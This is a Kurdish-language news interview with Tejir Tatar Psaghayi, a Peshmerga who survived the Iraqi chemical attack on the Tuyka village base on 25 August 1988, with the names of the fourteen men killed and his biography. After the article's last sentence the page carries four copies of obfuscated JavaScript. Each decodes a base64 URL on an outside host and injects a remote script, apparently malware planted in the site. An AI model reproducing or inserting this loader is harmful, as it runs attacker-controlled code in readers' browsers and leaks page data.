ب برینداری ئەز ژ كێمیا بارانكرنا بارەگایێ گۆندێ تویكا قـورتالبووم
دیدار: رەمەزان دەشتمری/ زاخۆ
دەمێ چریسكا شۆڕەشا 26ی گولانا پێشكەفتنخواز هەلبویی و پێشمەرگە هاتە دەڤەرێ و دەست ب خەباتا سیاسی و چالاكیێن لەشكری دژی حكومەتا ئیراقێ كرن. جارەكا دیتر خەلكەكێ قەستا گوندێن خوە كرنە ڤە ئەوێن حكومەتا ئیراقێ ژ سەر ئاخ و مولكێ وان ڕاكرین و خەلكێ وان گوندان ب سەرفرازی ژین و ژیارا خوە ب ئازادی لێ دبرن. بەلێ دەمی دەما ڕژێما ئیراقێ ب چاڤێ گومانێ و دەم بۆ دەمی هێرشێن دڕندانە یێن عەسكەری بۆ سەر وان دەڤەرێن ڕزگاركری دبرن و دڤیان گوندێن دەڤەرێ ب سوژن و تالان بكەن، و شوڕەشا 26ی گولانێ ژناڤ ببن.
بەلێ ب هێز و شیان و خوەڕاگری و قەهرەمانییا پێشمەرگەیێن جانڤیدا و سەركردایەتییا شۆڕەشێ و بەرەیی كوردستانێ ب وان شیان و چەك و تەقەمەنیێن ل بەردەستێن پێشمەرگەیی هەیی، بەرسینگا هەمی وان هێرشێن لەشكرێ رژێما ئیراقێ دگرتن، و دەربێن پیلایێ دناڤ چاڤێن حكومەتا ئیراقێ دادوەشاندن.
هەتا سالا 1987ی ڕژێما ئیراقێ هێلا سور (خگ الاحمر) دەینا كو ئەو دەڤەرێن ل پشت ەڤێ هێلێ ب كەڤن كرنە دەڤەرەكا قەدەغەكرییە ژ هاتن و چوونا مرۆڤان و بریاڕ كرنە د دەستێ عەسكەری دا كو هێرشان بۆ سەر دەڤەرێ ببن و هەمیێ پێكڤە ب سوژن، ل هەسڤا ئادارا سالا 1987ی لیژنا ناوچا زاخۆ یا پارتی دیموكراتی كوردستان چەند بارەكایێن ڕێكخراوێن پێشمەرگەیی ل چەند گوندان ڤەكرن، ژ وان وان گوندێن ستراتیرژی ئەوژی گوندێ تویكابی و بۆ ماوێ هەر هەیڤەكێ دورا ڕیكخراوەكا پێشمەرگەیی بوو كو نوبەت ل بارەگایێ گوندێ تویكا دگرتن و چاڤدێرییا دەڤەرێ بكەن. ل هەیڤا هەشت سالا 1988ی پێشمەرگەیێن ڕێكخراوا گوڤەند یا سەر ب لیژنا ناوچا زاخۆ ئەركێ وێ كەتە بارەگایێ گوندێ تویك وپێشمەرگا ما دئەركیدا هەتا ڕۆژا 25/8/1988ی فڕوكێن ڕژێما ئیراقێ دەڤەرا دهوكێ ب چەكێ كێمیاوی یێ قەدەغەكری ئەو دەڤەر كێمیا بارانكرن و ئێك ژوان جهێن كێمیا بارانكرین بارەگایێ پێشمەرگەیی ل گوندێ تویكا بوویە ژ ئەگەرێ وێ هێرشا دوڕندانە (14) پێشمەرگەهـ شەهید بوون، بتنێ ئێك ژوان پێشمەرگەیان ب برینداری قورتال دبیت، ئەوژی (تێجر تەتەر پساغایی) بوو.
تێجر تەتەر پساغایی ئێك ژ پێشمەرگەهێن ڕێكخراوا گۆڤەند كو ددیدارەكێ دا بەحسێ برینداریا خوە و قورتالبوونا خوە دكەت و دبێژیت: ل سپێدەهیا ڕۆژا 25/8/1988ی ئەز سپێدێ ژبەری ڕۆژهەلاتنێ ژخەو ڕابیم و من نڤێژا سپێدێ كر پشی ڕۆژهەلاتنێ هەڤالان دەست ب خوارنا تێشتێ كر. تێشتا بارەگایی باجانێن سور قەلاندی بوون. هەما دلێ من نەچوو خوارنا تێشتێ، ئەز ل خوە زڤڕیم دا بچم چایەكێ ڤەخوم. دوێ چركێ دا چاڤێن من ب هێسترا مە یا بۆز كەفت یا خوە د سنگی ئالاندی و چاڤێن وێ زیق و زیق یێ ل من و یا فڕەفڕەكێ دكەت.
من بۆ خوە گۆت ئەز دێ چم ڤێ حەیوانا خودێ ئاڤدم و تەولا وێ گوهوڕم، دڤێ ماڤبەینێ دا دەنگێ فرۆكێن جەنگی هات كو ل سەر دەڤەرێ دزڤڕین.هەفسارێ هێسترێ یێ ددەستێ مندا و ئەز یێ بۆ وێ شوڕكا ل تەنشتا گوندی ڤە دچم. ل دەمەكێ ل خۆە زڤڕیم، بەرێ خۆە ددەمێ توز و عەجاجەا سپی تەنتا گوندی ڕابوو بۆ شەڤبا و بۆ نك من ڤە هات. ئەز نزانم چ ل من هات و وەكی جوحنیا و بەهتییا لێ هاتم. ئەو توزە هەر یا ل نك من ڤە دهێت، نێزكی سێ تا پێنج پێنگاڤان ئەڤ توزە نێزیكی من بوو. ل دەمەكێ من وەسا هزركر هەر وەكی ئێكێ دو چەنگالێن ئاسنی ئێخستینە دل و مێلاكێن من و ب هەلكێشن. ئێدی نە من هایی ژخۆەما و نە من دزانی ئەز بۆ كیڤە دچم. ئەز نزانم هێسترا بۆز یا دجهدا كەفتی و مرارەبی و ئەز ژی نێزیكا سەد دوو سەد مێترا یێ چوویم و كەفتیمە وان شوڕكێن ل بنێ گۆندی. ئەز یێ مایمە بێ هش و هەڤالێن منژی چ تشتی ژمن نزانن.
پێشمەرگەیێ شۆرەشا گولانێ هەروەسا گۆت: هەتا دەمژمێر(3) سی ئیڤری ل ەمێ هوو ڤەڕشیم و دوو جاران كوخیم و من هلاڤێت. هشیاربیم و هشێن من هاتنە سەرێ من. تەماشەیی وان دەر دوران دكم نە چ كەس و مروڤان دبینم و نە دەنگێ تەیر و تەوالان دهێت و دونیا كەڕ و بێ دەنگە، هەما بۆخۆە من گلە و گازندە ژ هەڤالێن خۆەكرن كا بۆچی هەتا نها كەسێ پرسیارا من نەكریە و بێ خودان مایمە ل چولێ. ئەز نەشێم ڕابم و مێلاكا من یا ژتێهنا دكوزرت، من دەست هاڤێت غەدارا خۆە و ناهێت هزرا من كا من چەند گولە وەك هاوار هاڤێتن، ل دەمەكێ دوو هەڤالێن مە پێشمەرگە ل هاوارا من هاتن و یێن دبێژن ئەڤە تێجر یێ ساخە، من خوە ل وان توڕەكر و گۆت: ئەرێ ئەز ساخم ما هوین ل یڤەنە هاوارا من بێن، هەتا وێ گاڤێ من نەزانیا ئەوان فڕۆكان ب چەكی كێمیا وی هێرشكریە سەر بارەگایێ مە، هەر وەسا من هەر نزانیە ئەو پێشمەرگە كینە هاتین دەف من، ئێك ژوان پێشمەرگەیان دگوت: وەیی مالك ل تە ئاڤایو ما تو نزانی ل ڤێ سپێدێ فرۆكا بارەگایێ مە كێمیا بارنكریە و كەس نەمایە هەمی یێن هاتینە شەهیدكرن. ڤان هەردو پێشمەرگەیان ئەز ڕاكرم و هەر ئێكێ دەستەك من دەیناتە سەر ملێ خۆە و ئینامە ل وێ چاڤ كانیكا ل دەف بێدەرا گوندی، دەمێ ئەز گەهاندیمە سەر وێ كانیكا ئاڤێ و من ل وان كرە قێڕی و گوت: هاوار بابو ئاڤێ ب دنە من، من حەفت مەتەرێن ئاڤێ ڤەخوارن و هەر من د هلاڤت، ژبلی هناڤێن من ژتێهنادە دقرقچین و ژ برساندا ژی پێن من خوە ل سەر پێیان نەدگرتن. پشتی من پچەك بێهنا خوە ڤەدایی ب هەر حالێ هەیی هێدی هێدی هەڤالا ئەز گەهاندمە دەڤ زیارەتێ گۆندێ پێرەكا و هەتا ناڤملا ئەز كرمە دئاڤێ دا و هێشتا تێهنا من نە شكەستبی پێنج مەتارێن دیتر یێن ئاڤێ من ڤەخوارن، حەتا پچەكێ ئەز ئارام بیم و هشێن من هاتنە سەرێ من، ئەو پێشمەرگەیێن ب شەڤێ چووین خالا سەرێ گرێ دوو گورگی مابینە ساخ و ئەو كەلەخێن شەهیدان ل گورستانا گوندێ پێرەكا ڤەشارتن، پشتی ڤەشارتنا وان كەلەخان و هەڤالان دەوارەك كەر پەیداكرن و مە ژناڤا گوڕستانا گوندێ پیرەكا دا ڕیكێ و برەڤ سەرسنورا چووین، هەتا گەهشتینە كەمپا دیاربەكر و ل وێرێ ئاكنجی بین.
ناڤێن وان شەهیدێن كێمیا بارنكرنا بارەگایێ گوندێ تویكا ل سپێدەهییا ڕۆژا 25/8/1988ی ، شەهید ئەحمەد محەمەد ئیبراهیم ناسیار ب( ئەحمەد مەلا شولینی ، شەهید سامی ئەحمەد مەلا شولینی ، شەهید مراد ئەحمەد مەلا شولینی ، شەهید ئیسماعیل تەعبیر پساغایی ، شەهید ئازاد مراد باتیفی ، شەهید ئیسماعیل محەمەد یەحیا بەعنینەیی ، شەهید حسین فەرحان كەشانی ، شەهید زبێر خدر شولینی ، شەهید سلیمان خەیدەر عەبدولا ڕویسی ، شەهید شەعبان خەلیل عەلی شولینی، شەهید سالح شەمسەدین مەحمود بەهینەیی ، شەهید محەمەد شەهیر سەدیق كڕكی ، شەهید محەمەد عەمەر ئەحمەد خیزاڤاكی ، شەهید ئوسمان ئیۆاهیم عەمەر تێركی ).
تێجر تەتەر عەزو پساغایی ل سالا 1952 ل گوندێ پەترومێ سەر ب ناحیا دەركارێ هاتیە سەر دونیایێ، ل سالا 1971ی بوویە پێشمەرگە دگەل هێزا زاخۆ و ل دەمێ نەسكویا شۆڕەشا ئەیلۆلێ ئاوارەیی وەلاتێ ئیرانێ ل كەمپا جەهروم ئاكنجی دبیت. دەستپێكا شۆڕەشا 26ی گولانا پێشكەفتنخواز دگەل خێزانا خۆە ڤەدگەڕینە كوردستانێ ل گەل ڕێكخراوا شەهید(حەمید حەڤزولا) سەر ب لیژنا ناوجا زاخۆ دبتیە پێشمەركە. ل سالا 1988ی دهێتە ڤەگوهاستن بۆ ڕێكخراوا (گوڤەند) یا سەر ب لیژنا زاخۆ هەتا ڕۆژا 25/8/1988ی د ئەركی دا برندر دبت و پاشی ب خێزانڤە ئاوارەیی وەلانێ توریكا ل كەمپا دیاربەكر ئاكنجی دبت و پشتی سەرهلدانا بهارا سالا 1991ی جارەكادیتر ڤەدگەڕیتە كوردستانێ و بەردەوامیێ دتە خزمەتا پێشمەرگایەتیێ. هەتا سالا 2007ی ل دویڤ بڕیارا وەزارەتا پێشمەرگەیی ب پلا(نەقیب)دئێت خانەشینكرن. نها ساخە ل كومەلگەها هیزاوا سەر ب ناحیا دەركارعجەم ڤە دژیت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
